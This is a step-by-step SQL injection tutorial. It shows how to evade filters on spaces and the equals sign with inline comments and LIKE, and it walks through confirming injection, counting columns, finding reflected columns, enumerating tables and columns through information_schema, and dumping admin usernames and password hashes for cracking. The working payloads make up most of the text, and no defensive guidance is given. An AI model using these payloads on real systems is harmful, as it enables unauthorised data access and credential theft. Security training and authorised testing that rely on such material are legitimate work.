Bypassing Input Filters

During manual SQL injection testing, web applications often implement strict input validation that filters critical characters such as spaces and the equals sign (=). To successfully exploit such vulnerabilities, an attacker must obfuscate the payload to bypass these rules. Inline comments (/**/) serve as an effectiev substitute for whitespace, while the LIKE operator can replace the equals sign for boolean cmoparisons. All payloads should be URL-encoded to ensure proper transmission.

Confirming the Injection Point

The first step is to verify the existence of a numeric-based injection point. By injecting a statement that always evaluates to true, we can observe the application's response.

/**/AND/**/1/**/LIKE/**/1

If the application behaves normally, proceed with a false condition to induce an error or difference in the response.

/**/AND/**/1/**/LIKE/**/2

A discrepancy between the two responses confirms the presence of an injectable parameter.

Determining Column Count

Identify the number of columns in the original query using the ORDER BY clause. Increment the sort index until an error occurs.

/**/ORDER/**/BY/**/4

If the page loads correctly, attempt a higher number.

/**/ORDER/**/BY/**/5

An error on the fifth attempt indicates that the query retrieves four columns.

Locating Reflection Points

Use a UNION SELECT payload to determine which columns are echoed back to the user. The primary query must be invalidated (e.g., by changing the ID to -1) to force the database to return the results of the UNION query.

/**/UNION/**/SELECT/**/1,2,3,4/**/#

Observing the rendered HTML reveals which numbers correspond to the output fields. Assume columns 2 and 3 are visible.

Extracting Database Configuration

Replace one of the reflective columns with the database() function to reveal the current database name.

/**/UNION/**/SELECT/**/1,database(),3,4/**/#

Enumerating Database Tables

Retrieve the list of tables by querying the information_schema.tables view. Because standard quotes might be filtered or the equals sign is blocked, convert the data base name to its hexadecimal representation and use the LIKE operator.

/**/UNION/**/SELECT/**/1,group_concat(table_name),3,4/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema/**/LIKE/**/0x[HEX_DB_NAME]

Retrieving Column Structures

Once the target table is identified, extract its column names from information_schema.columns. Apply the same hex-encoding technique to the table name.

/**/UNION/**/SELECT/**/1,group_concat(column_name),3,4/**/FROM/**/information_schema.columns/**/WHERE/**/table_name/**/LIKE/**/0x[HEX_TABLE_NAME]

Dumping User Credentials

Finally, retrieve the sensitive data from the identified columns. Use group_concat() to aggregate results, such as usernames and password hashes, into a single row.

/**/UNION/**/SELECT/**/1,group_concat(username),group_concat(pass_hash),4/**/FROM/**/admin_users

After obtaining the password hash, use a decryption or cracking tool to recover the plaintext password and complete the authentication bypass.